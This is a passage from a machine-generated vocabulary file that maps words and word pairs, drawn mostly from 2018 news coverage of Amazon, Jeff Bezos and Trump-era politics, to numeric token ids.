"columnist jamal": 76320, "predicts beauty": 76321, "mcdougal allegedly": 76322, "established conservative": 76323, "data finds": 76324, "trump backs": 76325, "aura": 76326, "hinge": 76327, "wireimage los": 76328, "privileges hiding": 76329, "heart collected": 76330, "vest approach": 76331, "icann eventually": 76332, "resurrecting": 76333, "topnews utm_source": 76334, "specific lie": 76335, "experience louis": 76336, "street set": 76337, "considerable business": 76338, "zapotosky": 76339, "people responding": 76340, "kevin freking": 76341, "stare quizzically": 76342, "delegation": 76343, "cements": 76344, "merchants known": 76345, "power particularly": 76346, "amazon studios": 76347, "square books": 76348, "right hughes": 76349, "matter bezos": 76350, "quotient": 76351, "took walking": 76352, "iranian counterpart": 76353, "taking intimate": 76354, "diving experts": 76355, "madigan": 76356, "transfer bridges": 76357, "000 delivery": 76358, "trump focused": 76359, "method writes": 76360, "w5 new": 76361, "mccabe claimed": 76362, "great position": 76363, "service operators": 76364, "ahead city": 76365, "friendly media": 76366, "create stealth": 76367, "magical christmas": 76368, "initial 500": 76369, "shipping company": 76370, "winning proposal": 76371, "initial development": 76372, "lena knows": 76373, "szold david": 76374, "hot trend": 76375, "retailers alike": 76376, "creation potential": 76377, "sting plane": 76378, "crew adds": 76379, "major uk": 76380, "report doj": 76381, "gene kimmelman": 76382, "stormy": 76383, "amazon sustainability": 76384, "budget": 76385, "reversed": 76386, "audit claims": 76387, "conservative dp": 76388, "concerns emarketer": 76389, "macron wrote": 76390, "having joined": 76391, "editors poor": 76392, "provocative supporters": 76393, "shockingly big": 76394, "luke cage": 76395, "respondents included": 76396, "diverse customer": 76397, "massive initial": 76398, "continuing working": 76399, "dam projects": 76400, "backlash crains": 76401, "freight handling": 76402, "rob goodman": 76403, "abo": 76404, "couple stronger": 76405, "reportedly declined": 76406, "grown increasingly": 76407, "attacking obama": 76408, "3p": 76409, "bargaining agreement": 76410, "brought luminaid": 76411, "actually serve": 76412, "raptors": 76413, "collapses": 76414, "time firms": 76415, "knowledge compiled": 76416, "pace sent": 76417, "political consultant": 76418, "521": 76419, "submit final": 76420, "addressing housing": 76421, "cnbc embedded": 76422, "limited ability": 76423, "franziska": 76424, "press won": 76425, "larger raises": 76426, "trump heavily": 76427, "escaped discover": 76428, "bond ricky": 76429, "cbs check": 76430, "distributor": 76431, "actually read": 76432, "pharmacies murdering": 76433, "fake products": 76434, "pac make": 76435, "question entirely": 76436, "internets": 76437, "dog earlier": 76438, "amazon website": 76439, "demonstrating pattern": 76440, "bonnie berkowitz": 76441, "frank underwood": 76442, "orders directly": 76443, "contributed tens": 76444, "opposing cigna": 76445, "hendricks": 76446, "cozy place": 76447, "i4 a4ee": 76448, "mxm": 76449, "giant sea": 76450, "tech gifts": 76451, "deliveries nationwide": 76452, "approved exemptions": 76453, "beginning tying": 76454, "subjected employees": 76455, "candidate running": 76456, "agence": 76457, "govpredict ceo": 76458, "support letter": 76459, "wages larry": 76460, "send2press newswire": 76461, "massive upset": 76462, "best 167": 76463, "legacy private": 76464, "pallotta explains": 76465, "saudi anger": 76466, "renegotiated annual": 76467, "calculating 2016": 76468, "wait wasn": 76469, "author insights": 76470, "damaged": 76471, "discounts based": 76472, "music venue": 76473, "chico told": 76474, "newest": 76475, "conservative readers": 76476, "sustainability close": 76477, "giuliani mueller": 76478, "lump sum": 76479, "negative brand": 76480, "makes trump": 76481, "injurious anti": 76482, "government actually": 76483, "community elemental": 76484, "hurting small": 76485, "point council": 76486, "shared user": 76487, "handprints": 76488, "special promotional": 76489, "parilla fellow": 76490, "right skills": 76491, "world photo": 76492, "don exhibit": 76493, "communications include": 76494, "storm crushing": 76495, "outlets publishing": 76496, "sees deal": 76497, "founder announced": 76498, "large group": 76499, "field guide": 76500, "share share": 76501, "s0 v4": 76502, "big techs": 76503, "register reports": 76504, "onerous health": 76505, "reported fake": 76506, "\u00e9ric": 76507, "tv talk": 76508, "process start": 76509, "syros": 76510, "novel normal": 76511, "valley wrote": 76512, "server": 76513, "biedex": 76514, "cloud allows": 76515, "reporters salaries": 76516, "coins": 76517, "hinesburg state": 76518, "hagedorn chief": 76519, "tariffs targeting": 76520, "finance exclusive": 76521, "serving customers": 76522, "laws representative": 76523, "nought": 76524, "fulfilment centres": 76525, "elevated price": 76526, "rosenstein assured": 76527, "facebook katherine": 76528, "private images": 76529, "long called": 76530, "tweaking": 76531, "carell intoned": 76532, "power generators": 76533, "smart regulations": 76534, "obreht debut": 76535, "rob sanderson": 76536, "statement noting": 76537, "paper great": 76538, "pretty limited": 76539, "work backwards": 76540, "shutdown republicans": 76541, "report ceo": 76542, "empt": 76543, "alexi mccammond": 76544, "agribusiness environmental": 76545, "human resources": 76546, "liberal test": 76547, "day jeff": 76548, "trump started": 76549, "unique users": 76550, "defeat isis": 76551, "democrats given": 76552, "times deputy": 76553, "starts creep": 76554, "istanbul": 76555, "laying waste": 76556, "barbarian": 76557, "camera icon": 76558, "acquire online": 76559, "local companies": 76560, "ubhi ubhi": 76561, "nick carroll": 76562, "kindly": 76563, "shell game": 76564, "oceania press": 76565, "sacred location": 76566, "harbored": 76567, "double": 76568, "popsockets": 76569, "constituencies additionally": 76570, "risen steadily": 76571, "feel happy": 76572, "son survived": 76573, "ebitda margin": 76574, "proven false": 76575, "auto makers": 76576, "primeair": 76577, "progress trump": 76578, "new towers": 76579, "bernie calls": 76580, "editor midterm": 76581, "equally amazon": 76582, "ran workshop": 76583, "paul kengor": 76584, "outdoors teamwork": 76585, "blackberry": 76586, "tru walls": 76587, "taxes claiming": 76588, "projects according": 76589, "ap television": 76590, "engineered": 76591, "speech policies": 76592, "fund border": 76593, "blames secret": 76594, "box opener": 76595, "enquirer virigina": 76596, "rollbacks": 76597, "opposition time": 76598, "kaola local": 76599, "make championship": 76600, "wegmann thank": 76601, "faulkner slams": 76602, "advances new": 76603, "illegal consider": 76604, "n8 u2x": 76605, "trysts": 76606, "personnel": 76607, "box behemoth": 76608, "buildings light": 76609, "bitcoin": 76610, "doorsteps trump": 76611, "lehrer governor": 76612, "falsely submitted": 76613, "reported critically": 76614, "thill ubs": 76615, "stohr": 76616, "controversy remains": 76617, "deborah axt": 76618, "multiple reviews": 76619, "discussions fuel": 76620, "second degree": 76621, "furnishing personal": 76622, "tribal dancers": 76623, "add_commas progress": 76624, "havlin": 76625, "lambasting": 76626, "richness": 76627, "cronyism trump": 76628, "headquarters delagrave": 76629, "today standards": 76630, "054": 76631, "greatly shaped": 76632, "gop supporters": 76633, "publicly amazon": 76634, "taxes polls": 76635, "blackmail returns": 76636, "richard neal": 76637, "rising bond": 76638, "brand craftsman": 76639, "obsesses": 76640, "moveon tweeted": 76641, "play nextplay": 76642, "effect according": 76643, "runaway bestseller": 76644, "international airport": 76645, "organizations dedicated": 76646, "raising price": 76647, "media universe": 76648, "tale filled": 76649, "feeling single": 76650, "fretful residents": 76651, "twitter army": 76652, "checkout stand": 76653, "shutdown spec": 76654, "department cloud": 76655, "hillary campaign": 76656, "hours amazon": 76657, "advertising logistics": 76658, "cozi": 76659, "profits remain": 76660, "contractor bidding": 76661, "target commerce": 76662, "company treatment": 76663, "latin lover": 76664, "national basketball": 76665, "bare bones": 76666, "wrong way": 76667, "require landline": 76668, "earlier trump": 76669, "year think": 76670, "showing growth": 76671, "big investment": 76672, "york state": 76673, "start work": 76674, "heres better": 76675, "landmark 2015": 76676, "commuter drive": 76677, "law intended": 76678, "quadratic capital": 76679, "military leaders": 76680, "terminate participation": 76681, "loaded": 76682, "apple event": 76683, "j0 return": 76684, "women trump": 76685, "mortgage": 76686, "trump pastor": 76687, "president farr": 76688, "italy faces": 76689, "civil liability": 76690, "bribe program": 76691, "allow khashoggi": 76692, "coors light": 76693, "163 used": 76694, "bezos contributing": 76695, "trump touts": 76696, "crowd jokingly": 76697, "cnbc jim": 76698, "ballston corridor": 76699, "operations greener": 76700, "china pledges": 76701, "monitor immigrants": 76702, "david kostin": 76703, "slower growing": 76704, "lennihan": 76705, "won wait": 76706, "2blvcpl brussels": 76707, "eliresidential": 76708, "developing think": 76709, "lorded": 76710, "department agency": 76711, "barrier isn": 76712, "service vans": 76713, "doing worse": 76714, "egotistical men": 76715, "leary photo": 76716, "easiest": 76717, "wiring stories": 76718, "demand workers": 76719, "exactly known": 76720, "global revenues": 76721, "glance boeing": 76722, "insular state": 76723, "willkie": 76724, "state brad": 76725, "response speaker": 76726, "stephanie keith": 76727, "minded mischief": 76728, "policy noted": 76729, "castigate": 76730, "distributed": 76731, "choice aaliyah": 76732, "bygone golden": 76733, "budget proponents": 76734, "economic situation": 76735, "development grant": 76736, "activated technologies": 76737, "market driven": 76738, "new dual": 76739, "additional 900": 76740, "behemoth suddenly": 76741, "attended white": 76742, "authentic luxury": 76743, "anticipate amazon": 76744, "facility measuring": 76745, "dynamic": 76746, "committee misspent": 76747, "settlement inc_column_name_override": 76748, "yale club": 76749, "expressed disappointment": 76750, "amazon unwillingness": 76751, "interim police": 76752, "streaming feature": 76753, "olivia nuzzi": 76754, "powered device": 76755, "clothing store": 76756, "goliath posting": 76757, "jury selection": 76758, "historically secretive": 76759, "malevolent forces": 76760, "115th": 76761, "sounds conservative": 76762, "guilt": 76763, "buskers using": 76764, "archibald amazon": 76765, "lark": 76766, "verardo": 76767, "valued company": 76768, "471 results": 76769, "books essays": 76770, "yelp ceo": 76771, "dispatch tone": 76772, "jean avoided": 76773, "considering trip": 76774, "doug jones": 76775, "trump alleges": 76776, "portland glob": 76777, "creative action": 76778, "johnson lai": 76779, "stakeholder assessment": 76780, "merchant customers": 76781, "relative little": 76782, "wsj nissim": 76783, "enchance": 76784, "couple files": 76785, "385": 76786, "int 650": 76787, "considerable obstacles": 76788, "tech market": 76789, "parent organization": 76790, "nbbj shared": 76791, "story complete": 76792, "business package": 76793, "party doesn": 76794, "school junior": 76795, "coo sheryl": 76796, "wishful": 76797, "speedups": 76798, "hectares": 76799, "foreshadows": 76800, "bypassing": 76801, "held press": 76802, "multiple drivers": 76803, "ashore": 76804, "fishing device": 76805, "gray matter": 76806, "brandingimageurl": 76807, "billion operating": 76808, "murdoch lieutenant": 76809, "did quick": 76810, "wmal amazon": 76811, "air shipping": 76812, "louis jacobson": 76813, "constitutional balance": 76814, "mark newton": 76815, "amazon ecosystem": 76816, "lobbying tools": 76817, "depot objected": 76818, "julian rankin": 76819, "cerrado": 76820, "sanders senate": 76821, "photos czech": 76822, "contemporary community": 76823, "herbs planet": 76824, "starlet mother": 76825, "break maria": 76826, "making list": 76827, "trump disagree": 76828, "day meetings": 76829, "pastor conley": 76830, "american bds": 76831, "key recommendation": 76832, "senior editor": 76833, "mark ziedins": 76834, "results suggests": 76835, "funny nora": 76836, "high taxed": 76837, "forklift": 76838, "key according": 76839, "quite ironic": 76840, "week postal": 76841, "scs": 76842, "clear vestager": 76843, "environmental assessment": 76844, "hasn unleashed": 76845, "shelved indefinitely": 76846, "countries spam": 76847, "rucker reported": 76848, "bipartisan group": 76849, "2018 exclusive": 76850, "woody": 76851, "sell perfectly": 76852, "family looms": 76853, "subprime mortgages": 76854, "vendors represents": 76855, "apple foxconn": 76856, "change regardless": 76857, "food health": 76858, "vimeo online": 76859, "brother keith": 76860, "bring customers": 76861, "pharmacy start": 76862, "worse trump": 76863, "gig immediately": 76864, "fast": 76865, "loyalty runs": 76866, "avoid political": 76867, "page headlines": 76868, "origin ventures": 76869, "appl": 76870, "fargo faced": 76871, "nvidia fault": 76872, "2019 dinner": 76873, "executives predict": 76874, "yeezy boost": 76875, "probing seal": 76876, "washingtonpost": 76877, "placidly": 76878, "global infrastructure": 76879, "margaret shoulder": 76880, "chosen products": 76881, "diversity earlier": 76882, "easily cross": 76883, "toronto writer": 76884, "trump grudge": 76885, "renters": 76886, "integrators": 76887, "nickniedz": 76888, "amazon purchase": 76889, "university medill": 76890, "democrats economic": 76891, "drug ads": 76892, "novelist thomas": 76893, "township hours": 76894, "andrea kremer": 76895, "contracted company": 76896, "yes mcdowell": 76897, "colleges international": 76898, "mix": 76899, "news denis": 76900, "working eliza": 76901, "difficulties big": 76902, "really played": 76903, "level headed": 76904, "taco": 76905, "business putting": 76906, "jacinta gonz\u00e1lez": 76907, "care technology": 76908, "gruesome period": 76909, "untested": 76910, "methods easley": 76911, "reviewed thoroughly": 76912, "harvested": 76913, "play role": 76914, "000 visitors": 76915, "friede springer": 76916, "opportunity provides": 76917, "house ready": 76918, "beneficial": 76919, "months marijuana": 76920, "took sulzberger": 76921, "huge success": 76922, "page tribute": 76923, "wage especially": 76924, "axel award": 76925, "offer": 76926, "making new": 76927, "main point": 76928, "legal 2018": 76929, "edelheit": 76930, "latest amarillo": 76931, "hope patient": 76932, "wenski": 76933, "way claimed": 76934, "french oil": 76935, "ordinary men": 76936, "jr tweeted": 76937, "sales trade": 76938, "262 000": 76939, "reflecting weaker": 76940, "daydreams": 76941, "filled daily": 76942, "scale military": 76943, "fund high": 76944, "alyssa": 76945, "making thedecision": 76946, "rephrase": 76947, "profits itep": 76948, "ad spending": 76949, "public purchasing": 76950, "activities amazon": 76951, "words tomorrow": 76952, "target immigrants": 76953, "offered billion": 76954, "contest plea": 76955, "major revenue": 76956, "orderly lines": 76957, "treasury division": 76958, "mid sized": 76959, "republic report": 76960, "tax causing": 76961, "carriers uber": 76962, "range indicates": 76963, "distaste": 76964, "day agreed": 76965, "recommendations relate": 76966, "help define": 76967, "governor thanks": 76968, "diverse think": 76969, "pulling broadcast": 76970, "prevent similar": 76971, "memorandum calls": 76972, "higher overall": 76973, "world people": 76974, "illnesses": 76975, "place warren": 76976, "demonstrates new": 76977, "connected vehicles": 76978, "renewing": 76979, "legislation big": 76980, "disputed cohen": 76981, "financial council": 76982, "fake nikes": 76983, "alamy": 76984, "representative holds": 76985, "van doorn": 76986, "responsibility": 76987, "frequently bashes": 76988, "state sales": 76989, "napster": 76990, "members veterans": 76991, "price method": 76992, "vallone bayside": 76993, "twin towers": 76994, "family available": 76995, "8217 second": 76996, "js video_sourcename": 76997, "trump act": 76998, "tpv": 76999, "holm ballard": 77000, "eliminate trump": 77001, "warren campaign": 77002, "cyber bullying": 77003, "french foreign": 77004, "help climate": 77005, "kindle price": 77006, "ballots mail": 77007, "vibes": 77008, "rate cuomo": 77009, "american symbolism": 77010, "pignocchio": 77011, "insider vestager": 77012, "wrestlemania": 77013, "restrict": 77014, "compelling customer": 77015, "auditor": 77016, "headquarters facilities": 77017, "cupboard": 77018, "864 million": 77019, "invulnerable": 77020, "big subsidies": 77021, "pitched laughter": 77022, "says bank": 77023, "scrutinse": 77024, "coupled": 77025, "make ends": 77026, "transferred control": 77027, "billion speed": 77028, "newsware": 77029, "000 locations": 77030, "back23 pictures": 77031, "program jeff": 77032, "positive effects": 77033, "walgreens": 77034, "amazon abney": 77035, "mortar small": 77036, "joe grand": 77037, "translation service": 77038, "insurrection": 77039, "sent 210": 77040, "singular innovation": 77041, "view regarding": 77042, "major exception": 77043, "story ap": 77044, "usps partners": 77045, "unwarranted": 77046, "york finest": 77047, "elienyc tweeted": 77048, "king jr": 77049, "amazon pitch": 77050, "time mail": 77051, "tom wolfe": 77052, "economy sectors": 77053, "added special": 77054, "substantial gains": 77055, "memorial hospital": 77056, "kelowna mom": 77057, "hulls": 77058, "ge capital": 77059, "abdul jabbar": 77060, "market leader": 77061, "rates payments": 77062, "murakami fans": 77063, "brandy": 77064, "creativity": 77065, "weather texas": 77066, "international president": 77067, "majority starts": 77068, "dishing attacks": 77069, "deliver babies": 77070, "chief economist": 77071, "upside amzn": 77072, "profit handsomely": 77073, "remain confidential": 77074, "divorce documents": 77075, "resounding defeat": 77076, "enquirers parent": 77077, "completely defeated": 77078, "strangely feels": 77079, "ensure fleet": 77080, "unexpected surge": 77081, "uncover pattern": 77082, "recession saw": 77083, "break mystery": 77084, "sustainable": 77085, "technicians originating": 77086, "york calling": 77087, "morningstar": 77088, "adjunct": 77089, "ford lawyer": 77090, "negative toy": 77091, "survivors need": 77092, "new facilities": 77093, "creates beautiful": 77094, "iphone app": 77095, "trump recognized": 77096, "operations business": 77097, "digital footprint": 77098, "nuclear weapons": 77099, "immediately return": 77100, "praised republican": 77101, "explicitly recommend": 77102, "israel claim": 77103, "store sells": 77104, "buffett ben": 77105, "140 times": 77106, "trucks president": 77107, "park hourly": 77108, "stocks suffer": 77109, "currently lives": 77110, "hallmark cap": 77111, "alibaba international": 77112, "train million": 77113, "presented political": 77114, "companies selling": 77115, "camps": 77116, "growth trajectory": 77117, "term resolution": 77118, "latest turkish": 77119, "claims rose": 77120, "constant pichai": 77121, "sanchez stone": 77122, "amazon presale": 77123, "played leading": 77124, "policies forbes": 77125, "brazen": 77126, "dying little": 77127, "events according": 77128, "equityand": 77129, "single contractor": 77130, "000 awaiting": 77131, "strain": 77132, "michelle memoir": 77133, "workers puts": 77134, "extraordinarily difficult": 77135, "ncosh findings": 77136, "analyst ravi": 77137, "contains achievable": 77138, "fiscal targets": 77139, "tennis aces": 77140, "duhigg amazon": 77141, "coverage including": 77142, "stock downturn": 77143, "post howard": 77144, "remain negatively": 77145, "tiger wife": 77146, "extremely smart": 77147, "domo accenture": 77148, "buying products": 77149, "trevor noahs": 77150, "sales uu": 77151, "workers struck": 77152, "worlds brings": 77153, "announces charges": 77154, "week column": 77155, "vacation leave": 77156, "private events": 77157, "smith spokesman": 77158, "structural issues": 77159, "viral trump": 77160, "event trump": 77161, "soaring tech": 77162, "pseudonyms": 77163, "woman elected": 77164, "crowded events": 77165, "administration saudi": 77166, "perez panel": 77167, "communications device": 77168, "twitter credit": 77169, "mice according": 77170, "lender onewest": 77171, "summit featuring": 77172, "science technology": 77173, "joe camel": 77174, "heartening anti": 77175, "essentially limited": 77176, "jakeweindling": 77177, "bezos msnbc": 77178, "time associate": 77179, "ad stressed": 77180, "mother house": 77181, "unfortunate tendency": 77182, "shed nearly": 77183, "people actually": 77184, "beyonc hundreds": 77185, "acquiring schwan": 77186, "fulfilling customer": 77187, "38c": 77188, "1700et copyright": 77189, "space travel": 77190, "man asks": 77191, "workers fearful": 77192, "hurting consumers": 77193, "null cnn": 77194, "huge profit": 77195, "favorite manchester": 77196, "construction planning": 77197, "probe took": 77198, "reclaim position": 77199, "decline stopped": 77200, "viewreport 4c11b827": 77201, "trump just": 77202, "travel countries": 77203, "private automobiles": 77204, "women restroom": 77205, "email highlighting": 77206, "wholesale lies": 77207, "contemporary antitrust": 77208, "workers international": 77209, "antitrust standoff": 77210, "hit just": 77211, "vehemently denied": 77212, "relatively quickly": 77213, "fox writes": 77214, "crime rates": 77215, "diminished justice": 77216, "guidance": 77217, "lisa haralampus": 77218, "957 million": 77219, "domestic subscribers": 77220, "unsettling imagery": 77221, "iron throne": 77222, "imus": 77223, "demand jobs": 77224, "rare occurrence": 77225, "share representing": 77226, "zuker hilarious": 77227, "post noted": 77228, "difficult process": 77229, "ofthat": 77230, "delivery shoe": 77231, "civil engineer": 77232, "guy names": 77233, "quite buying": 77234, "growing reputation": 77235, "facts related": 77236, "disorder oct": 77237, "accumulated 044": 77238, "economy orders": 77239, "censorship": 77240, "dollar austin": 77241, "business combined": 77242, "jersey plunging": 77243, "recent push": 77244, "crisis shutdown": 77245, "deleteuber": 77246, "policy brian": 77247, "achieved concrete": 77248, "amazon ordering": 77249, "putative foreign": 77250, "flags investors": 77251, "says note": 77252, "angrily tweets": 77253, "field wide": 77254, "attorney ted": 77255, "trek devotee": 77256, "undermines state": 77257, "broader assessment": 77258, "propaganda apparatus": 77259, "hours dispatching": 77260, "cinematic": 77261, "nyna giles": 77262, "racist 2018": 77263, "greater investment": 77264, "city intends": 77265, "generate earnings": 77266, "king salman": 77267, "highly unexpected": 77268, "think tanks": 77269, "previous": 77270, "legislative leaders": 77271, "begin construction": 77272, "google apple": 77273, "arrebatar": 77274, "attack vietnam": 77275, "bargain steve": 77276, "000 hololens": 77277, "zealotry": 77278, "biased results": 77279, "yeah throw": 77280, "extremely quiet": 77281, "fully energized": 77282, "political pressure": 77283, "store locations": 77284, "possible allure": 77285, "communications bezos": 77286, "fineman served": 77287, "prime bundle": 77288, "easily documented": 77289, "strange hybrid": 77290, "cannabis stocks": 77291, "undergoing": 77292, "ride today": 77293, "pilloried amazon": 77294, "imposed tariffs": 77295, "risen": 77296, "famous victim": 77297, "american pavilion": 77298, "downed jets": 77299, "politics podcast": 77300, "adding": 77301, "combination read": 77302, "mocking tech": 77303, "cnbc capital": 77304, "processing annex": 77305, "slush": 77306, "floral": 77307, "returns going": 77308, "traveler usatoda": 77309, "struggling financially": 77310, "online shopping": 77311, "modi metoo": 77312, "average rose": 77313, "camarena": 77314, "changing payments": 77315, "joint ente": 77316, "somodevilla": 77317, "given birth": 77318, "transportation service": 77319, "attack philadelphia": 77320, "party member": 77321, "negotiation": 77322, "repeatedly promoted": 77323, "rates low": 77324, "grown year": 77325, "save money": 77326, "knew recode_logomark": 77327, "value achieved": 77328, "industry watchers": 77329, "sergio": 77330, "suspend mail": 77331, "fourth season": 77332, "experiences possible": 77333, "memorandum serves": 77334, "new codes": 77335, "fulfillment services": 77336, "pronounced dip": 77337, "confidence thresholds": 77338, "lifeline arranged": 77339, "prison ordered": 77340, "studied": 77341, "condition nonetheless": 77342, "race arguing": 77343, "cunning executive": 77344, "expressed support": 77345, "moon ricky": 77346, "cat sanctuary": 77347, "antitrust plaintiffs": 77348, "real problem": 77349, "academics": 77350, "reunited posted": 77351, "taxes took": 77352, "including book": 77353, "utilize online": 77354, "natl": 77355, "houston faith": 77356, "website boasts": 77357, "finds 2018": 77358, "academic credit": 77359, "scripts unitedhealth": 77360, "shaped supreme": 77361, "escaping": 77362, "aaliyah believed": 77363, "ida": 77364, "dismissing itat": 77365, "box switches": 77366, "revision dealt": 77367, "senate lawmakers": 77368, "lung": 77369, "drive trains": 77370, "police seized": 77371, "media showing": 77372, "sending letter": 77373, "taseer": 77374, "printz award": 77375, "investigation intopresident": 77376, "contractors held": 77377, "executives told": 77378, "bundle lengths": 77379, "jackie outfit": 77380, "recorded provisional": 77381, "hardwood": 77382, "restraints": 77383, "espionage": 77384, "colour ceremony": 77385, "instances reporting": 77386, "institutions democrats": 77387, "bank maintained": 77388, "secure ways": 77389, "immigration lawyers": 77390, "higher revenue": 77391, "popularity": 77392, "kimmy": 77393, "reuters california": 77394, "resolved questions": 77395, "collision": 77396, "cnn paul": 77397, "totally nutty": 77398, "given michelle": 77399, "bagging": 77400, "tag 2018": 77401, "monney braindead": 77402, "embattled prime": 77403, "john jack": 77404, "sanders zeroed": 77405, "search tools": 77406, "attacking big": 77407, "walmart customer": 77408, "doe": 77409, "states attorney": 77410, "consumers morning": 77411, "machine learning": 77412, "locations drawing": 77413, "khan pursues": 77414, "j8i b0": 77415, "beautiful films": 77416, "slapping tariffs": 77417, "troubling john": 77418, "past materials": 77419, "company papers": 77420, "latest attempt": 77421, "harvesting": 77422, "seed funding": 77423, "kevin miller": 77424, "cease referring": 77425, "korea senate": 77426, "earful": 77427, "proposition driven": 77428, "wage bump": 77429, "small wage": 77430, "ac": 77431, "warning don": 77432, "royal mail": 77433, "joint proposal": 77434, "congressional investigations": 77435, "itrequires": 77436, "regnery": 77437, "botox": 77438, "affects slightly": 77439, "dethroning": 77440, "winner announced": 77441, "market initial": 77442, "posting amazon": 77443, "fantastic options": 77444, "knows nov": 77445, "ap reporter": 77446, "probably somewhat": 77447, "section cites": 77448, "unsure": 77449, "recently failed": 77450, "limburg": 77451, "republican legal": 77452, "workers choosing": 77453, "woodward washington": 77454, "leadership needed": 77455, "congressional representation": 77456, "economical": 77457, "arabia think": 77458, "blumenthal picked": 77459, "yorktown": 77460, "experimental ways": 77461, "suggestion data": 77462, "5billion percentage": 77463, "intimidating globally": 77464, "right society": 77465, "uganda turkey": 77466, "activist group": 77467, "economic competitiveness": 77468, "court martialed": 77469, "interpreted": 77470, "investigators google": 77471, "audiences": 77472, "land owner": 77473, "incurs costs": 77474, "media interviews": 77475, "questions pic": 77476, "bezos claims": 77477, "indiana man": 77478, "trump lighthizer": 77479, "eyeballs pinging": 77480, "anderson cooper": 77481, "cjr": 77482, "anchor turned": 77483, "change jason": 77484, "tunes": 77485, "springer ceo": 77486, "receive additional": 77487, "congressperson anthony": 77488, "semtimetr library": 77489, "dorsky heart": 77490, "buying month": 77491, "diehards": 77492, "city bad": 77493, "make scotland": 77494, "play16": 77495, "concentration sears": 77496, "sentiment sept": 77497, "lady controversy": 77498, "aide bring": 77499, "cloud security": 77500, "shakeup mark": 77501, "lets work": 77502, "country desperately": 77503, "accountability enhancement": 77504, "disneyland tickets": 77505, "spouses": 77506, "conservatives claim": 77507, "knocking": 77508, "seeks controls": 77509, "collection exclusively": 77510, "fundamentalists calling": 77511, "tapestry": 77512, "highway evan": 77513, "tools build": 77514, "david lawrence": 77515, "crash buy": 77516, "private schedule": 77517, "comment directly": 77518, "profitable new": 77519, "flagship big": 77520, "huge names": 77521, "republicans weakened": 77522, "public policies": 77523, "guiding": 77524, "revenue protestors": 77525, "manchester nh": 77526, "economically thriving": 77527, "veterans homeland": 77528, "administration pledge": 77529, "york minute": 77530, "closely watched": 77531, "ejtaub": 77532, "mandate infringed": 77533, "amnesty blasts": 77534, "jodi": 77535, "require google": 77536, "considers": 77537, "apnewsnow": 77538, "stock incentives": 77539, "target european": 77540, "niedzwiadek nick": 77541, "month amid": 77542, "current laws": 77543, "prime discount": 77544, "pleading": 77545, "simple rule": 77546, "foreclosure": 77547, "delivery program": 77548, "roth": 77549, "workers want": 77550, "plotting planning": 77551, "blogs wsj": 77552, "giroux": 77553, "offline commerce": 77554, "currency kavanaugh": 77555, "political backlash": 77556, "dismayed": 77557, "called old": 77558, "460k": 77559, "day bezos": 77560, "settled nixon": 77561, "richest ceo": 77562, "vladi mir": 77563, "antitrust matters": 77564, "fictional departure": 77565, "rout wall": 77566, "long supported": 77567, "escapism": 77568, "katienotopoulos": 77569, "confrontations": 77570, "yorkers lives": 77571, "dynamite": 77572, "management communications": 77573, "spectacular amazon": 77574, "society facebook": 77575, "pad just": 77576, "upcoming new": 77577, "offer trump": 77578, "million american": 77579, "criticism 40am": 77580, "don tax": 77581, "quietly released": 77582, "allows little": 77583, "freedom case": 77584, "rickjnewmanfollow": 77585, "child research": 77586, "macro tourist": 77587, "sydney balancing": 77588, "choosing android": 77589, "entrepreneurial explosion": 77590, "records management": 77591, "oil based": 77592, "potentially cause": 77593, "million 181": 77594, "southeastern department": 77595, "disliking trump": 77596, "quickly gathering": 77597, "friends story": 77598, "school board": 77599, "plus coaching": 77600, "gift gift": 77601, "legislatures": 77602, "trump smiled": 77603, "subsections environment": 77604, "unfettered progress": 77605, "opioid summit": 77606, "outranks toronto": 77607, "amid time": 77608, "coppola earlier": 77609, "trademarks bailouts": 77610, "edwards kay": 77611, "enquirer publication": 77612, "alumna": 77613, "splc hate": 77614, "fat": 77615, "791 shares": 77616, "disclosures showed": 77617, "cassandra szklarski": 77618, "unearned": 77619, "champion gennady": 77620, "kostin wrote": 77621, "vietnamese street": 77622, "advised": 77623, "paid mistreated": 77624, "started detecting": 77625, "post fantasized": 77626, "inside politics": 77627, "deep employee": 77628, "garrick": 77629, "fears thousands": 77630, "android software": 77631, "generating": 77632, "occasionally dissented": 77633, "superjumbo": 77634, "7ctwgr 5e383231323b626f6c6465725f6e6577735f616374696f6e": 77635, "valid": 77636, "mccabe sanders": 77637, "rare win": 77638, "kavanaugh gorsuch": 77639, "power strips": 77640, "amazon primarily": 77641, "todd": 77642, "editorial correctly": 77643, "worker removed": 77644, "flakejeffrey": 77645, "attracted trump": 77646, "moret": 77647, "just spent": 77648, "australian financial": 77649, "ventures bezos": 77650, "video online": 77651, "2029": 77652, "squared revolving": 77653, "calls ford": 77654, "150 miles": 77655, "world map": 77656, "amazon fairly": 77657, "plutocrats": 77658, "specifically sought": 77659, "multi step": 77660, "hbo new": 77661, "paul giamatti": 77662, "pernicious government": 77663, "area stepped": 77664, "rate projection": 77665, "critical thinking": 77666, "appointed personnel": 77667, "chips key": 77668, "tour": 77669, "days notice": 77670, "moves ahead": 77671, "leaving instagram": 77672, "amazon catspaw": 77673, "online security": 77674, "new subway": 77675, "celebrations break": 77676, "understand digital": 77677, "newsom claims": 77678, "card carrying": 77679, "acutely comforting": 77680, "tighter": 77681, "offense committed": 77682, "rahul gandhi": 77683, "want competition": 77684, "stroock": 77685, "protesters storm": 77686, "yodeler": 77687, "touts": 77688, "calm brian": 77689, "private trump": 77690, "narrow experience": 77691, "sexual indiscretion": 77692, "portended": 77693, "management professor": 77694, "slipperiness": 77695, "state delivering": 77696, "month scribd": 77697, "sanders wheelhouse": 77698, "really isn": 77699, "belk": 77700, "fundraisers job": 77701, "thegovernment": 77702, "scaring away": 77703, "ice taser": 77704, "immelt": 77705, "justice enforcement": 77706, "brighter super": 77707, "621": 77708, "tax funds": 77709, "arguably just": 77710, "pipeline remains": 77711, "holdings tenneco": 77712, "mug shot": 77713, "oracle suppression": 77714, "dvd box": 77715, "years wegmann": 77716, "protect jeff": 77717, "cult rockers": 77718, "charge filed": 77719, "businesses smbs": 77720, "congo trump": 77721, "prints fake": 77722, "freud": 77723, "shining harsh": 77724, "soft targets": 77725, "showed improvement": 77726, "planning presidential": 77727, "pep": 77728, "published entirely": 77729, "tag history": 77730, "brings different": 77731, "car follow": 77732, "make humans": 77733, "nz 200b": 77734, "leading academic": 77735, "satirist": 77736, "harr founding": 77737, "incorrect stats": 77738, "points properly": 77739, "workers grant": 77740, "right activist": 77741, "sites new": 77742, "educated": 77743, "products instead": 77744, "oft": 77745, "cmtx minute": 77746, "talk pokemon": 77747, "disappear society": 77748, "scandal going": 77749, "investors 2019": 77750, "paula": 77751, "finds fault": 77752, "copyright eu": 77753, "theydiscussed potentially": 77754, "pavlich": 